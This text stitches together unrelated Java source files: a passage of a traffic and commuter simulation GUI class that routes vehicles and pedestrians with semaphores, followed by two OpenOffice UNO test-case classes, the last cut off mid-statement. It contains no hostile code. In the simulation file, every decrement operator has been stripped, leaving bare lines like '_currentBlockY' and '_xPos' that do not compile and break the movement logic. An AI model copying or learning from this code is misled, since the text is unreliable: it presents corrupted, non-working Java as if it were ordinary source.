_destinationBlockY = getBlockY(placeY(destination));
if (_destinationBlockX == _currentBlockX && _destinationBlockY == _currentBlockY){
return;
}
setPresent(true);
route.add(_currentBlockX + 3 * _currentBlockY);
if (_currentBlockY == 0){
if ( _destinationBlockX > _currentBlockX){ //going right
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY++;
route.add(_currentBlockX + 3 * _currentBlockY);
while (_currentBlockX < _destinationBlockX){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockX++;
route.add(_currentBlockX + 3 * _currentBlockY);
}
if (_currentBlockY > _destinationBlockY){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY
route.add(_currentBlockX + 3 * _currentBlockY);
}
}
else{//going left or down
while (_currentBlockX > _destinationBlockX){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockX
route.add(_currentBlockX + 3 * _currentBlockY);
}
if (_currentBlockY < _destinationBlockY){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY++;
route.add(_currentBlockX + 3 * _currentBlockY);
}
}
}
else if (_currentBlockY == 1){
if ( _destinationBlockX > _currentBlockX){ //going right
while (_currentBlockX < _destinationBlockX){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockX++;
route.add(_currentBlockX + 3 * _currentBlockY);
}
if (_currentBlockY > _destinationBlockY){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY
route.add(_currentBlockX + 3 * _currentBlockY);
}
}
else{//going left or up
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY
route.add(_currentBlockX + 3 * _currentBlockY);
while (_currentBlockX > _destinationBlockX){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockX
route.add(_currentBlockX + 3 * _currentBlockY);
}
if (_currentBlockY < _destinationBlockY){
intersections.add(_currentBlockX + _currentBlockY);
_currentBlockY++;
route.add(_currentBlockX + 3 * _currentBlockY);
}
}
}
// route.add(3);
// intersections.add(1);
// route.add(4);
// intersections.add(2);
// route.add(5);
// intersections.add(3);
// route.add(2);
for (int i=0; i< route.size();i++){
Lane lane = Directory.lanes().get(route.get(i));
int starting_position = 0;
if (i == 0) {
if (parkingSpot > 0)
starting_position = parkingSpot;
}
for (int j=starting_position; j< lane.permits.size();j++){
while(!lane.permits.get(j).tryAcquire()){
_lookUpDelay.schedule(new TimerTask(){
@Override
public void run() {
_delayForMoving.release();
}
}, 10);
try{
_delayForMoving.acquire();
}
catch(InterruptedException e){
e.printStackTrace();
}
}
if (lane.isHorizontal){
if (lane.xVelocity>0){
_xDestination = lane.xOrigin + 10 * lane.xVelocity * j;
_yDestination = lane.yOrigin;
}
else {
_xDestination = lane.xOrigin + 10 * lane.permits.size() + 10 * lane.xVelocity * (j+1);
_yDestination = lane.yOrigin;
}
}
else {
if (lane.yVelocity>0){
_yDestination = lane.yOrigin + 10 * lane.yVelocity * j;
_xDestination = lane.xOrigin;
}
else{
_yDestination = lane.yOrigin + 10 * lane.permits.size() + 10 * lane.yVelocity * (j+1);
_xDestination = lane.xOrigin;
}
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
//free parking spaces
if (i == 0 && j == starting_position){
if (started){
lane.parking_spaces.get(j).release();
}
else
started = true;
}
if (i != 0 && j == starting_position){
Directory.intersections().get(intersections.get(i-1)).release();
}
//release the former spot
if (j!=starting_position)
lane.permits.get(j-1).release();
//find parking spaces in last lane
if (i == route.size() - 1){
if (lane.parking_spaces.get(j).tryAcquire()){
//move to the spot, release and record
if (lane.isHorizontal){
if (lane.xVelocity>0){
_yDestination += 10;
}
else {
_yDestination -= 10;
}
}
else {
if (lane.yVelocity>0){
_xDestination -= 10;
}
else{
_xDestination += 10;
}
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
lane.permits.get(j).release();
parkingSpot = j;
return;
}
else {
//go ahead and try another
if (j == lane.permits.size() - 1){
setPresent(false);
if (lane.isHorizontal){
if (lane.xVelocity>0){
_yDestination += 10;
}
else {
_yDestination -= 10;
}
}
else {
if (lane.yVelocity>0){
_xDestination -= 10;
}
else{
_xDestination += 10;
}
}
_xPos = _xDestination;
_yPos = _yDestination;
lane.permits.get(j).release();
}
}
}
}
if (i<route.size() - 1){
Lane next_lane = Directory.lanes().get(route.get(i+1));
while(!Directory.intersections().get(intersections.get(i)).tryAcquire()){
_lookUpDelay.schedule(new TimerTask(){
@Override
public void run() {
_delayForMoving.release();
}
}, 500);
try{
_delayForMoving.acquire();
}
catch(InterruptedException e){
e.printStackTrace();
}
};
if (_commuter.wantToDie && intersections.get(i) == 0){
_xDestination = 1 * 10 + 41;
_yDestination = 12 * 10 + 30;
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
lane.permits.get(lane.permits.size()-1).release();
Directory.intersections().get(intersections.get(i)).release();
Directory.busStops().get(5).addMyselfToCrashList(_commuter);
try{
deathSem.acquire();
}
catch(InterruptedException e){
e.printStackTrace();
}
return;
}
if (next_lane.isHorizontal){
if (next_lane.xVelocity>0){
_xDestination = next_lane.xOrigin - 10;
_yDestination = next_lane.yOrigin;
}
else {
_xDestination = next_lane.xOrigin + 10 * next_lane.permits.size();
_yDestination = next_lane.yOrigin;
}
}
else {
if (next_lane.yVelocity>0){
_yDestination = next_lane.yOrigin - 10;
_xDestination = next_lane.xOrigin;
}
else{
_yDestination = next_lane.yOrigin + 10 * next_lane.permits.size();
_xDestination = next_lane.xOrigin;
}
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
//TODO to get rid of deadlock acquire both intersection and the first spot in next lane
lane.permits.get(lane.permits.size()-1).release();
}
}
//setPresent(false);
//set automatically
_currentBlockX = _destinationBlockX;
_currentBlockY = _destinationBlockY;
}
//Bus gui
public void goToBusStop(BusStopObject busstop){
// set current x & y to _commuter.currrentPlace()
// set visible to true
route.clear();
if (_currentBlockX == 0 && _currentBlockY == 0){
_xPos = 41 + 15 * 10;
_yPos = 30 + 5 * 10;
route.add(0);
route.add(1);
}
else if (_currentBlockX == 1 && _currentBlockY == 0){
_xPos = 41 + 30 * 10;
_yPos = 30 + 5 * 10;
route.add(5);
}
else if (_currentBlockX == 2 && _currentBlockY == 0){
_xPos = 41 + 44 * 10;
_yPos = 30 + 5 * 10;
route.add(6);
route.add(7);
}
if (_currentBlockX == 0 && _currentBlockY == 1){
_xPos = 41 + 15 * 10;
_yPos = 30 + 24 * 10;
route.add(16);
route.add(17);
}
else if (_currentBlockX == 1 && _currentBlockY == 1){
_xPos = 41 + 30 * 10;
_yPos = 30 + 24 * 10;
route.add(15);
}
else if (_currentBlockX == 2 && _currentBlockY == 1){
_xPos = 41 + 44 * 10;
_yPos = 30 + 24 * 10;
route.add(10);
route.add(11);
}
_xDestination = _xPos;
_yDestination = _yPos;
setPresent(true);
for (int i=0; i< route.size();i++){
Lane lane = Directory.busSidewalks().get(route.get(i));
for (int j=0; j< lane.permits.size();j++){//TODO change starting position
while(!lane.permits.get(j).tryAcquire()){
_lookUpDelay.schedule(new TimerTask(){
@Override
public void run() {
_delayForMoving.release();
}
}, 10);
try{
_delayForMoving.acquire();
}
catch(InterruptedException e){
e.printStackTrace();
}
}
if (lane.isHorizontal){
if (lane.xVelocity>0){
_xDestination = lane.xOrigin + 10 * lane.xVelocity * j;
_yDestination = lane.yOrigin;
}
else {
_xDestination = lane.xOrigin + 10 * lane.permits.size() + 10 * lane.xVelocity * (j+1);
_yDestination = lane.yOrigin;
}
}
else {
if (lane.yVelocity>0){
_yDestination = lane.yOrigin + 10 * lane.yVelocity * j;
_xDestination = lane.xOrigin;
}
else{
_yDestination = lane.yOrigin + 10 * lane.permits.size() + 10 * lane.yVelocity * (j+1);
_xDestination = lane.xOrigin;
}
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
//release the former spot in current lane
if (j!=0)
lane.permits.get(j-1).release();
//release the former spot in last lane
else if (i != 0){
ArrayList<Semaphore> former_lane_permits = Directory.busSidewalks().get(route.get(i-1)).permits;
former_lane_permits.get(former_lane_permits.size() - 1).release();
}
//find parking spaces in last lane
if (i == route.size() - 1 && j == lane.permits.size() - 1){
//move to the spot, release and record
if (lane.isHorizontal){
if (lane.xVelocity>0){
_xDestination += 10;
}
else {
_xDestination -= 10;
}
}
else {
if (lane.yVelocity>0){
_yDestination += 10;
}
else{
_yDestination -= 10;
}
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
lane.permits.get(j).release();
if (!_commuter.wantToDie)
setPresent(false);
return;
}
}
}
}
public void goDie(){
setPresent(true);
if (_currentBlockX == 0 && _currentBlockY == 0){
_yDestination -= 10;
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
_xDestination += _commuter.deadListNumber * 10;
}
else if (_currentBlockX == 1 && _currentBlockY == 0){
_yDestination -= 10;
_xDestination += 10;
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
_xDestination += _commuter.deadListNumber * 10;
}
else if (_currentBlockX == 2 && _currentBlockY == 0){
_xDestination += 10;
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
_yDestination += _commuter.deadListNumber * 10;
}
if (_currentBlockX == 0 && _currentBlockY == 1){
_xDestination -= 10;
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
_yDestination -= _commuter.deadListNumber * 10;
}
else if (_currentBlockX == 1 && _currentBlockY == 1){
_xDestination -= 10;
_yDestination += 10;
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
_xDestination -= _commuter.deadListNumber * 10;
}
else if (_currentBlockX == 2 && _currentBlockY == 1){
_yDestination += 10;
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
_xDestination -= _commuter.deadListNumber * 10;
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
}
public void getOnBus(){
setPresent(false);
}
public void getOffBus(BusStopObject busstop){
if (busstop.positionX() < 41 + 20 * 10 && busstop.positionY() < 30 + 14 * 10){
_currentBlockX = 0;
_currentBlockY = 0;
}
if (busstop.positionX() > 41 + 20 * 10 && busstop.positionX() < 41 + 40 * 10 && busstop.positionY() < 30 + 14 * 10){
_currentBlockX = 1;
_currentBlockY = 0;
}
if (busstop.positionX() > 41 + 40 * 10 && busstop.positionY() < 30 + 14 * 10){
_currentBlockX = 2;
_currentBlockY = 0;
}
if (busstop.positionX() < 41 + 20 * 10 && busstop.positionY() > 30 + 14 * 10){
_currentBlockX = 0;
_currentBlockY = 1;
}
if (busstop.positionX() > 41 + 20 * 10 && busstop.positionX() < 41 + 40 * 10 && busstop.positionY() > 30 + 14 * 10){
_currentBlockX = 1;
_currentBlockY = 1;
}
if (busstop.positionX() > 41 + 40 * 10 && busstop.positionY() > 30 + 14 * 10){
_currentBlockX = 2;
_currentBlockY = 1;
}
route.clear();
if (_currentBlockX == 0 && _currentBlockY == 0){
_xPos = 41 + 2 * 10;
_yPos = 30 + 2 * 10;
route.add(2);
route.add(3);
}
else if (_currentBlockX == 1 && _currentBlockY == 0){
_xPos = 41 + 29 * 10;
_yPos = 30 + 1 * 10;
route.add(4);
}
else if (_currentBlockX == 2 && _currentBlockY == 0){
_xPos = 41 + 57 * 10;
_yPos = 30 + 2 * 10;
route.add(8);
route.add(9);
}
if (_currentBlockX == 0 && _currentBlockY == 1){
_xPos = 41 + 2 * 10;
_yPos = 30 + 27 * 10;
route.add(18);
route.add(19);
}
else if (_currentBlockX == 1 && _currentBlockY == 1){
_xPos = 41 + 29 * 10;
_yPos = 30 + 28 * 10;
route.add(14);
}
else if (_currentBlockX == 2 && _currentBlockY == 1){
_xPos = 41 + 57 * 10;
_yPos = 30 + 27 * 10;
route.add(12);
route.add(13);
}
_xDestination = _xPos;
_yDestination = _yPos;
setPresent(true);
for (int i=0; i< route.size();i++){
Lane lane = Directory.busSidewalks().get(route.get(i));
for (int j=0; j< lane.permits.size();j++){//TODO change starting position
while(!lane.permits.get(j).tryAcquire()){
_lookUpDelay.schedule(new TimerTask(){
@Override
public void run() {
_delayForMoving.release();
}
}, 10);
try{
_delayForMoving.acquire();
}
catch(InterruptedException e){
e.printStackTrace();
}
}
if (lane.isHorizontal){
if (lane.xVelocity>0){
_xDestination = lane.xOrigin + 10 * lane.xVelocity * j;
_yDestination = lane.yOrigin;
}
else {
_xDestination = lane.xOrigin + 10 * lane.permits.size() + 10 * lane.xVelocity * (j+1);
_yDestination = lane.yOrigin;
}
}
else {
if (lane.yVelocity>0){
_yDestination = lane.yOrigin + 10 * lane.yVelocity * j;
_xDestination = lane.xOrigin;
}
else{
_yDestination = lane.yOrigin + 10 * lane.permits.size() + 10 * lane.yVelocity * (j+1);
_xDestination = lane.xOrigin;
}
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
//release the former spot in current lane
if (j!=0)
lane.permits.get(j-1).release();
//release the former spot in last lane
else if (i != 0){
ArrayList<Semaphore> former_lane_permits = Directory.busSidewalks().get(route.get(i-1)).permits;
former_lane_permits.get(former_lane_permits.size() - 1).release();
}
//find parking spaces in last lane
if (i == route.size() - 1 && j == lane.permits.size() - 1){
//move to the spot, release and record
if (lane.isHorizontal){
if (lane.xVelocity>0){
_xDestination += 10;
}
else {
_xDestination -= 10;
}
}
else {
if (lane.yVelocity>0){
_yDestination += 10;
}
else{
_yDestination -= 10;
}
}
_transportationMethod = Command.waitForAnimation;
waitForLaneToFinish();
lane.permits.get(j).release();
//TODO maybe change this
setPresent(false);
if (_currentBlockX == 0 && _currentBlockY == 0){
_xPos = 41 + 0 * 10;
_yPos = 30 + 0 * 10;
}
else if (_currentBlockX == 1 && _currentBlockY == 0){
_xPos = 41 + 29 * 10;
_yPos = 30 + 0 * 10;
}
else if (_currentBlockX == 2 && _currentBlockY == 0){
_xPos = 41 + 58 * 10;
_yPos = 30 + 0 * 10;
}
if (_currentBlockX == 0 && _currentBlockY == 1){
_xPos = 41 + 0 * 10;
_yPos = 30 + 14 * 10;
}
else if (_currentBlockX == 1 && _currentBlockY == 1){
_xPos = 41 + 29 * 10;
_yPos = 30 + 14 * 10;
}
else if (_currentBlockX == 2 && _currentBlockY == 1){
_xPos = 41 + 58 * 10;
_yPos = 30 + 14 * 10;
}
_xDestination = _xPos;
_yDestination = _yPos;
return;
}
}
}
}
@Override
public void updatePosition() {
if (_xPos < _xDestination)
_xPos++;
else if (_xPos > _xDestination)
_xPos
if (_yPos < _yDestination)
_yPos++;
else if (_yPos > _yDestination)
_yPos
if (_commuter.hasCar()){
if (_xPos < _xDestination)
_xPos++;
else if (_xPos > _xDestination)
_xPos
if (_yPos < _yDestination)
_yPos++;
else if (_yPos > _yDestination)
_yPos
}
if(_xPos == _xDestination && _yPos == _yDestination &&
(_transportationMethod == Command.waitForAnimation)){
_transportationMethod = Command.none;
releaseSemaphore();
}
}
public void move( int xv, int yv ) {
_xPos+=xv;
_yPos+=yv;
}
@Override
public void draw(Graphics2D g) {
if(isPresent){
if(_selected){
g.setColor(Color.RED);
g.fillRect(_xPos - 2, _yPos - 2, xGap + 4, yGap + 4);
}
if (dead){
g.drawImage(skull,_xPos,_yPos, xGap, yGap, null);
return;
}
if(_commuter.hasCar()){
g.setColor(Color.ORANGE);
g.fillRect(_xPos, _yPos, 10, 10);
}
else{
g.setColor(Color.magenta);
g.fillRect(_xPos, _yPos, 10, 10);
}
}
}
/** This function returns the x value of the place; it can receive a value of null */
private int placeX(Place place) {
if(place != null) {
return place.positionX();
}
else {
return NULL_POSITION_X;
}
}
/** This function returns the y value of the place; it can receive a value of null */
private int placeY(Place place) {
if(place != null) {
return place.positionY();
}
else {
return NULL_POSITION_Y;
}
}
/* void move(int destx, int desty){
_xDestination = destx;
_yDestination = desty;
} */
Position convertPixelToGridSpace(int x, int y){
return new Position((x-41)/10, (y-30)/10);
}
private int getBlockX(int xPos){
if (xPos >= 41 + 8 * 10 && xPos < 41 + 16 * 10)
return 0;
if (xPos >= 41 + 24 * 10 && xPos < 41 + 36 * 10)
return 1;
if (xPos >= 41 + 44 * 10 && xPos < 41 + 52 * 10)
return 2;
return -1;
}
private int getSpotX(int xPos){
if (xPos >= 41 + 8 * 10 && xPos < 41 + 16 * 10)
return (xPos - 41 - 8 * 10)/10;
if (xPos >= 41 + 24 * 10 && xPos < 41 + 36 * 10)
return (xPos - 41 - 24 * 10)/10;
if (xPos >= 41 + 44 * 10 && xPos < 41 + 52 * 10)
return (xPos - 41 - 44 * 10)/10;
return -1;
}
private int getBlockY(int yPos){
if (yPos >= 30 + 5 * 10 && yPos < 30 + 9 * 10)
return 0;
if (yPos >= 30 + 19 * 10 && yPos < 30 + 25 * 10)
return 1;
return -1;
}
private void waitForLaneToFinish() {
try {
_reachedDestination.acquire();
}
catch(InterruptedException e) {
e.printStackTrace();
}
}
public void setSelected(boolean selected){
_selected = selected;
}
}
|
package mod._forms;
import java.io.PrintWriter;
import java.util.Comparator;
import lib.StatusException;
import lib.TestCase;
import lib.TestEnvironment;
import lib.TestParameters;
import util.FormTools;
import util.SOfficeFactory;
import com.sun.star.beans.XPropertySet;
import com.sun.star.container.XNameContainer;
import com.sun.star.container.XNamed;
import com.sun.star.drawing.XControlShape;
import com.sun.star.form.XGridColumnFactory;
import com.sun.star.lang.XComponent;
import com.sun.star.lang.XMultiServiceFactory;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XInterface;
import com.sun.star.util.XCloseable;
/**
* Test for object which is represented by service
* <code>com.sun.star.form.component.GridControl</code>. <p>
* Object implements the following interfaces :
* <ul>
* <li> <code>com::sun::star::io::XPersistObject</code></li>
* <li> <code>com::sun::star::container::XNameReplace</code></li>
* <li> <code>com::sun::star::form::XReset</code></li>
* <li> <code>com::sun::star::script::XEventAttacherManager</code></li>
* <li> <code>com::sun::star::form::FormComponent</code></li>
* <li> <code>com::sun::star::beans::XFastPropertySet</code></li>
* <li> <code>com::sun::star::beans::XMultiPropertySet</code></li>
* <li> <code>com::sun::star::container::XElementAccess</code></li>
* <li> <code>com::sun::star::form::component::GridControl</code></li>
* <li> <code>com::sun::star::view::XSelectionSupplier</code></li>
* <li> <code>com::sun::star::container::XEnumerationAccess</code></li>
* <li> <code>com::sun::star::beans::XPropertyState</code></li>
* <li> <code>com::sun::star::form::FormControlModel</code></li>
* <li> <code>com::sun::star::container::XIndexReplace</code></li>
* <li> <code>com::sun::star::container::XNamed</code></li>
* <li> <code>com::sun::star::container::XIndexAccess</code></li>
* <li> <code>com::sun::star::container::XNameContainer</code></li>
* <li> <code>com::sun::star::form::XGridColumnFactory</code></li>
* <li> <code>com::sun::star::lang::XComponent</code></li>
* <li> <code>com::sun::star::container::XNameAccess</code></li>
* <li> <code>com::sun::star::beans::XPropertySet</code></li>
* <li> <code>com::sun::star::container::XIndexContainer</code></li>
* <li> <code>com::sun::star::container::XChild</code></li>
* <li> <code>com::sun::star::container::XContainer</code></li>
* </ul> <p>
* This object test <b> is NOT </b> designed to be run in several
* threads concurently.
*
* @see com.sun.star.io.XPersistObject
* @see com.sun.star.container.XNameReplace
* @see com.sun.star.form.XReset
* @see com.sun.star.script.XEventAttacherManager
* @see com.sun.star.form.FormComponent
* @see com.sun.star.beans.XFastPropertySet
* @see com.sun.star.beans.XMultiPropertySet
* @see com.sun.star.container.XElementAccess
* @see com.sun.star.form.component.GridControl
* @see com.sun.star.view.XSelectionSupplier
* @see com.sun.star.container.XEnumerationAccess
* @see com.sun.star.beans.XPropertyState
* @see com.sun.star.form.FormControlModel
* @see com.sun.star.container.XIndexReplace
* @see com.sun.star.container.XNamed
* @see com.sun.star.container.XIndexAccess
* @see com.sun.star.container.XNameContainer
* @see com.sun.star.form.XGridColumnFactory
* @see com.sun.star.lang.XComponent
* @see com.sun.star.container.XNameAccess
* @see com.sun.star.beans.XPropertySet
* @see com.sun.star.container.XIndexContainer
* @see com.sun.star.container.XChild
* @see com.sun.star.container.XContainer
* @see ifc.io._XPersistObject
* @see ifc.container._XNameReplace
* @see ifc.form._XReset
* @see ifc.script._XEventAttacherManager
* @see ifc.form._FormComponent
* @see ifc.beans._XFastPropertySet
* @see ifc.beans._XMultiPropertySet
* @see ifc.container._XElementAccess
* @see ifc.form.component._GridControl
* @see ifc.view._XSelectionSupplier
* @see ifc.container._XEnumerationAccess
* @see ifc.beans._XPropertyState
* @see ifc.form._FormControlModel
* @see ifc.container._XIndexReplace
* @see ifc.container._XNamed
* @see ifc.container._XIndexAccess
* @see ifc.container._XNameContainer
* @see ifc.form._XGridColumnFactory
* @see ifc.lang._XComponent
* @see ifc.container._XNameAccess
* @see ifc.beans._XPropertySet
* @see ifc.container._XIndexContainer
* @see ifc.container._XChild
* @see ifc.container._XContainer
*/
public class OGridControlModel extends TestCase {
XComponent xDrawDoc = null;
/**
* Creates Drawing document.
*/
protected void initialize(TestParameters tParam, PrintWriter log) {
SOfficeFactory SOF = SOfficeFactory.getFactory(((XMultiServiceFactory) tParam.getMSF()));
log.println("creating a draw document");
try {
xDrawDoc = SOF.createDrawDoc(null);
} catch (com.sun.star.uno.Exception e) {
throw new StatusException("Can't create Draw document", e);
}
}
/**
* Disposes drawing document.
*/
protected void cleanup(TestParameters tParam, PrintWriter log) {
log.println(" disposing xDrawDoc ");
try {
XCloseable closer = (XCloseable) UnoRuntime.queryInterface(
XCloseable.class, xDrawDoc);
closer.close(true);
} catch (com.sun.star.util.CloseVetoException e) {
log.println("couldn't close document");
} catch (com.sun.star.lang.DisposedException e) {
log.println("couldn't close document");
}
}
/**
* <code>GridControl</code> component created and added to the draw
* page. Then two columns are created and added to the grid.
* Object relations created :
* <ul>
* <li> <code>'INSTANCE1' ... 'INSTANCEN'</code> for
* <code>XNameReplace, XNameContainer, XIndexReplace,
* XIndexContainer </code> : objects to be inserted
* or replaced with in interface tests. Number of relations
* depends on number of interface test threads. For each
* thread there must be an individual element. </li>
* <li> <code>'XNameContainer.AllowDuplicateNames'</code> :
* if this relation exists then container elements can have duplicate
* names. <code>GridControl</code> can have.</li>
* <li> <code>'OBJNAME'</code> for
* {@link ifc.io._XPersistObject} : name of service which is
* represented by this object. </li>
* <li> <code>'INSTANCE'</code> for
* {@link ifc.container._XContainer} : a column instance. </li>
* </ul>
*/
protected synchronized TestEnvironment createTestEnvironment(TestParameters Param,
PrintWriter log) {
XInterface oObj = null;
XInterface oInstance = null;
XPropertySet aControl = null;
XPropertySet aControl2 = null;
XPropertySet aControl3 = null;
XPropertySet aControl4 = null;
XGridColumnFactory columns = null;
// creation of testobject here
// first we write what we are intend to do to log file
log.println("creating a test environment");
//get GridControlModel
String objName = "Grid";
XControlShape shape = FormTools.insertControlShape(xDrawDoc, 5000,
7000, 2000, 2000,
"GridControl");
oObj = shape.getControl();
log.println("creating a new environment for drawpage object");
TestEnvironment tEnv = new TestEnvironment(oObj);
try {
columns = (XGridColumnFactory) UnoRuntime.queryInterface(
XGridColumnFactory.class, oObj);
aControl = columns.createColumn("TextField");
aControl2 = columns.createColumn("DateField");
aControl3 = columns.createColumn("TextField");
aControl4 = columns.createColumn("TextField");
} catch (com.sun.star.lang.IllegalArgumentException e) {
// Some exception occures.FAILED
log.println("!!! Couldn't create instance : " + e);
throw new StatusException("Can't create column instances.", e);
}
XNameContainer aContainer = (XNameContainer) UnoRuntime.queryInterface(
XNameContainer.class, oObj);
try {
aContainer.insertByName("First", aControl);
aContainer.insertByName("Second", aControl2);
} catch (com.sun.star.lang.WrappedTargetException e) {
log.println("!!! Could't insert column Instance");
e.printStackTrace(log);
throw new StatusException("Can't insert columns", e);
} catch (com.sun.star.lang.IllegalArgumentException e) {
log.println("!!! Could't insert column Instance");
e.printStackTrace(log);
throw new StatusException("Can't insert columns", e);
} catch (com.sun.star.container.ElementExistException e) {
log.println("!!! Could't insert column Instance");
e.printStackTrace(log);
throw new StatusException("Can't insert columns", e);
}
//Relations for XSelectionSupplier
tEnv.addObjRelation("Selections", new Object[] { aControl, aControl2 });
tEnv.addObjRelation("Comparer",
new Comparator() {
public int compare(Object o1, Object o2) {
XNamed named1 = (XNamed) UnoRuntime.queryInterface(
XNamed.class, o1);
XNamed named2 = (XNamed) UnoRuntime.queryInterface(
XNamed.class, o2);
if (named1.getName().equals(named2.getName())) {
return 0;
}
return -1;
}
public boolean equals(Object obj) {
return compare(this, obj) == 0;
}
});
int THRCNT = 1;
String count = (String)Param.get("THRCNT");
if (count != null)
THRCNT = Integer.parseInt(count);
// INSTANCEn : _XNameContainer; _XNameReplace
log.println("adding INSTANCEn as obj relation to environment");
try {
for (int n = 1; n < (3 * THRCNT + 1); n++) {
log.println("adding INSTANCE" + n +
" as obj relation to environment");
oInstance = columns.createColumn("TextField");
tEnv.addObjRelation("INSTANCE" + n, oInstance);
}
} catch (com.sun.star.lang.IllegalArgumentException e) {
e.printStackTrace(log);
throw new StatusException("Can't create 'INSTANCEn' relations", e);
}
// adding relation for XNameContainer
tEnv.addObjRelation("XNameContainer.AllowDuplicateNames", new Object());
tEnv.addObjRelation("OBJNAME", "stardiv.one.form.component." +
objName);
// adding relation for XContainer
tEnv.addObjRelation("INSTANCE", aControl3);
tEnv.addObjRelation("INSTANCE2", aControl4);
//adding ObjRelation for XPersistObject
tEnv.addObjRelation("PSEUDOPERSISTENT", new Boolean(true));
return tEnv;
} // finish method getTestEnvironment
} // finish class OGridControlModel
|
package mod._sc;
import com.sun.star.container.XIndexAccess;
import com.sun.star.lang.XComponent;
import com.sun.star.lang.XMultiServiceFactory;
import com.sun.star.sheet.XSheetAnnotation;
import com.sun.star.sheet.XSheetAnnotationAnchor;
import com.sun.star.sheet.XSheetAnnotationShapeSupplier;
import com.sun.star.sheet.XSpreadsheet;
import com.sun.star.sheet.XSpreadsheetDocument;
import com.sun.star.sheet.XSpreadsheets;
import com.sun.star.table.CellAddress;
import com.sun.star.table.XCell;
import com.sun.star.table.XCellRange;
import com.sun.star.text.XSimpleText;
import com.sun.star.uno.AnyConverter;
import com.sun.star.uno.Type;
import com.sun.star.uno.UnoRuntime;
import com.sun.star.uno.XInterface;
import lib.StatusException;
import lib.TestCase;
import lib.TestEnvironment;
import lib.TestParameters;
import util.SOfficeFactory;
import util.utils;
import java.io.PrintWriter;
import util.DefaultDsc;
import util.InstCreator;
/**
* Test for object which represents some text annotation
* anchored to some cell in spreadsheet (implement
* <code>com.sun.star.sheet.CellAnnotation</code>).<p>
* Object implements the following interfaces :
* <ul>
* <li> <code>com::sun::star::text::XSimpleText</code></li>
* <li> <code>com::sun::star::text::XTextRange</code></li>
* <li> <code>com::sun::star::sheet::XSheetAnnotation</code></li>
* </ul>
* This object test <b> is NOT </b> designed to be run in several
* threads concurently.
* @see com.sun.star.sheet.CellAnnotation
* @see com.sun.star.text.XSimpleText
* @see com.sun.star.text.XTextRange
* @see com.sun.star.sheet.XSheetAnnotation
* @see ifc.text._XSimpleText
* @see ifc.text._XTextRange
* @see ifc.sheet._XSheetAnnotation
*/
public class ScAnnotationShapeObj extends TestCase {
XSpreadsheetDocument xSheetDoc = null;
/**
* Creates a spreadsheet document.
*/
protected void initialize(TestParameters tParam, PrintWriter log) {
SOfficeFactory SOF =
SOfficeFactory.getFactory((XMultiServiceFactory) tParam
.getMSF());
try {
log.println("creating a Spreadsheet document");
System.out.println("Loading: "+utils.getFullTestURL(
"ScAnnotationShapeObj.sxc"));
xSheetDoc =
(XSpreadsheetDocument) UnoRuntime.queryInterface(XSpreadsheetDocument.class,
SOF.loadDocument(utils.getFullTestURL(
"ScAnnotationShapeObj.sxc")));
} catch (com.sun.star.uno.Exception e) {
// Some exception occures.FAILED
e.printStackTrace(log);
throw new StatusException("Couldn't create document", e);
}
}
/**
* Disposes a spreadsheet document.
*/
protected void cleanup(TestParameters tParam, PrintWriter log) {
log.println(" disposing xSheetDoc ");
XComponent oComp =
(XComponent) UnoRuntime.queryInterface(XComponent.class,
xSheetDoc);
util.DesktopTools.closeDoc(oComp);
}
/**
* Creating a Testenvironment for the interfaces to be tested.
* Retrieves a collection of spreadsheets from a document,
* and takes one them. Then a single cell is retrieved, and
* using its <code>com.sun.star.sheet.XSheetAnnotationAnchor</code>
* interface an annotation is got.
* Object relations created :
* <ul>
* <li> <code>'CELLPOS'</code> for
* {@link ifc.sheet._XSheetAnnotation} (of <code>
* com.sun.star.table.CellAddress</code> type) which
* contains the annotation cell address.</li>
* </ul>
*/
public synchronized TestEnvironment createTestEnvironment(
TestParameters Param, PrintWriter log) throws StatusException {
XInterface oObj = null;
// creation of testobject here
// first we write what we are intend to do to log file
log.println("Creating a test environment");
CellAddress cellPos = new CellAddress((short) 0, 1, 2);
log.println("Getting test object ");
XSpreadsheetDocument xArea =
(XSpreadsheetDocument) UnoRuntime.queryInterface(XSpreadsheetDocument.class,
xSheetDoc);
XSpreadsheets oSheets = (XSpreadsheets) xArea.getSheets();
XIndexAccess XAccess =
(XIndexAccess) UnoRuntime.queryInterface(XIndexAccess.class,
oSheets);
XCell oCell = null;
try {
XSpreadsheet oSheet =
(XSpreadsheet) AnyConverter.toObject(new Type(
XSpreadsheet.class),
XAccess.getByIndex(cellPos.Sheet));
XCellRange oCRange =
(XCellRange) UnoRuntime.queryInterface(XCellRange.class,
oSheet);
oCell =
oCRange.getCellByPosition(cellPos.Column, cellPos.Row);
} catch (com.sun.star.lang.WrappedTargetException e) {
e.printStackTrace(log);
throw new StatusException("Error getting test object from spreadsheet document",
e);
} catch (com.sun.star.lang.IndexOutOfBoundsException e) {
e.printStackTrace(log);
throw new StatusException("Error getting test object from spreadsheet document",
e);
} catch (com.sun.star.lang.IllegalArgumentException e) {
e.printStackTrace(log);
throw new StatusException("Error getting test object from spreadsheet document",
e);
}
XSheetAnnotationAnchor oAnnoA =
(XSheetAnnotationAnchor) UnoRuntime.queryInterface(XSheetAnnotationAnchor.class,
oCell);
XSheetAnnotation oAnno = oAnnoA.getAnnotation();
XSimpleText xAnnoText =
